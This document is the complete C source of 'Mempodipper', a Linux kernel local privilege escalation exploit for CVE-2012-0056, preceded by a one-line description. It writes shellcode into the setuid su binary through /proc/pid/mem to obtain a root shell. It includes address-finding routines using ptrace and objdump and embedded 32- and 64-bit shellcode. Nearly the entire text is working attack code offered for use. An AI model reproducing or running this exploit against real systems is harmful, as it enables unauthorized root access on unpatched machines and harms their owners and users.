Local exploit for linux kernel >= 2.6.39, x64 and x86.

/*
 * Mempodipper
 * by zx2c4
 * 
 * Linux Local Root Exploit
 * 
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 * 
 * Enjoy.
 * 
 * - zx2c4
 * Jan 21, 2012
 * 
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
  char buf[1];
  struct iovec iov;
  struct msghdr msg;
  struct cmsghdr *cmsg;
  int n;
  char cms[CMSG_SPACE(sizeof(int))];

  buf[0] = 0;
  iov.iov_base = buf;
  iov.iov_len = 1;

  memset(&msg, 0, sizeof msg);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_control = (caddr_t)cms;
  msg.msg_controllen = CMSG_LEN(sizeof(int));

  cmsg = CMSG_FIRSTHDR(&msg);
  cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;
  memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

  if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
    return -1;
  close(sock);
  return 0;
}

int recv_fd(int sock)
{
  int n;
  int fd;
  char buf[1];
  struct iovec iov;
  struct msghdr msg;
  struct cmsghdr *cmsg;
  char cms[CMSG_SPACE(sizeof(int))];
  
  iov.iov_base = buf;
  iov.iov_len = 1;

  memset(&msg, 0, sizeof msg);
  msg.msg_name = 0;
  msg.msg_namelen = 0;
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

  msg.msg_control = (caddr_t)cms;
  msg.msg_controllen = sizeof cms;

  if ((n = recvmsg(sock, &msg, 0)) < 0)
    return -1;
  if (n == 0)
    return -1;
  cmsg = CMSG_FIRSTHDR(&msg);
  memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  close(sock);
  return fd;
}

unsigned long ptrace_address()
{
  int fd[2];
  printf("[+] Creating ptrace pipe.\n");
  pipe(fd);
  fcntl(fd[0], F_SETFL, O_NONBLOCK);

  printf("[+] Forking ptrace child.\n");
  int child = fork();
  if (child) {
    close(fd[1]);
    char buf;
    printf("[+] Waiting for ptraced child to give output on syscalls.\n");
    for (;;) {
      wait(NULL);
      if (read(fd[0], &buf, 1) > 0)
        break;
      ptrace(PTRACE_SYSCALL, child, NULL, NULL);
    }
    
    printf("[+] Error message written. Single stepping to find address.\n");
    struct user_regs_struct regs;
    for (;;) {
      ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
      wait(NULL);
      ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
      if (instruction_pointer < upper_bound) {
        unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
        if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
          return instruction_pointer;
      }
    }
  } else {
    printf("[+] Ptrace_traceme'ing process.\n");
    if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
      perror("[-] ptrace");
      return 0;
    }
    close(fd[0]);
    dup2(fd[1], 2);
    execl("/bin/su", "su", "not-a-valid-user", NULL);
  }
  return 0;
}

unsigned long objdump_address()
{
  FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  if (!command) {
    perror("[-] popen");
    return 0;
  }
  char result[32];
  fgets(result, 32, command);
  pclose(command);
  return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
  printf("[+] Ptracing su to find next instruction without reading binary.\n");
  unsigned long address = ptrace_address();
  if (!address) {
    printf("[-] Ptrace failed.\n");
    printf("[+] Reading su binary with objdump to find exit@plt.\n");
    address = objdump_address();
    if (address == ULONG_MAX || !address) {
      printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
      printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
      exit(-1);
    }
  }
  printf("[+] Resolved call address to 0x%lx.\n", address);
  return address;
}

int su_padding()
{
  printf("[+] Calculating su padding.\n");
  FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
  if (!command) {
    perror("[-] popen");
    exit(1);
  }
  char result[256];
  fgets(result, 256, command);
  pclose(command);
  return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
  char parent_mem[256];
  sprintf(parent_mem, "/proc/%d/mem", getppid());
  printf("[+] Opening parent mem %s in child.\n", parent_mem);
  int fd = open(parent_mem, O_RDWR);
  if (fd < 0) {
    perror("[-] open");
    return 1;
  }
  printf("[+] Sending fd %d to parent.\n", fd);
  send_fd(sock, fd);
  return 0;
}

int parent(unsigned long address)
{
  int sockets[2];
  printf("[+] Opening socketpair.\n");
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
    perror("[-] socketpair");
    return 1;
  }
  if (fork()) {
    printf("[+] Waiting for transferred fd in parent.\n");
    int fd = recv_fd(sockets[1]);
    printf("[+] Received fd at %d.\n", fd);
    if (fd < 0) {
      perror("[-] recv_fd");
      return 1;
    }
    printf("[+] Assigning fd %d to stderr.\n", fd);
    dup2(2, 15);
    dup2(fd, 2);

    unsigned long offset = address - su_padding();
    printf("[+] Seeking to offset 0x%lx.\n", offset);
    lseek64(fd, offset, SEEK_SET);
    
#if defined(__i386__)
    // See shellcode-32.s in this package for the source.
    char shellcode[] =
      "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
      "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
      "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
      "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
      "\x80";
#elif defined(__x86_64__)
    // See shellcode-64.s in this package for the source.
    char shellcode[] =
      "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
      "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
      "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
      "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
      "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
    printf("[+] Executing su with shellcode.\n");
    execl("/bin/su", "su", shellcode, NULL);
  } else {
    char sock[32];
    sprintf(sock, "%d", sockets[0]);
    printf("[+] Executing child from child fork.\n");
    execl("/proc/self/exe", prog_name, "-c", sock, NULL);
  }
  return 0;
}

int main(int argc, char **argv)
{
  prog_name = argv[0];
  
  if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
    return child(atoi(argv[2]));
  
  printf("===============================\n");
  printf("=      Mempodipper    =\n");
  printf("=       by zx2c4      =\n");
  printf("=     Jan 21, 2012    =\n");
  printf("===============================\n\n");
  
  if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
    return parent(strtoul(argv[2], NULL, 16));
  else
    return parent(find_address());
  
}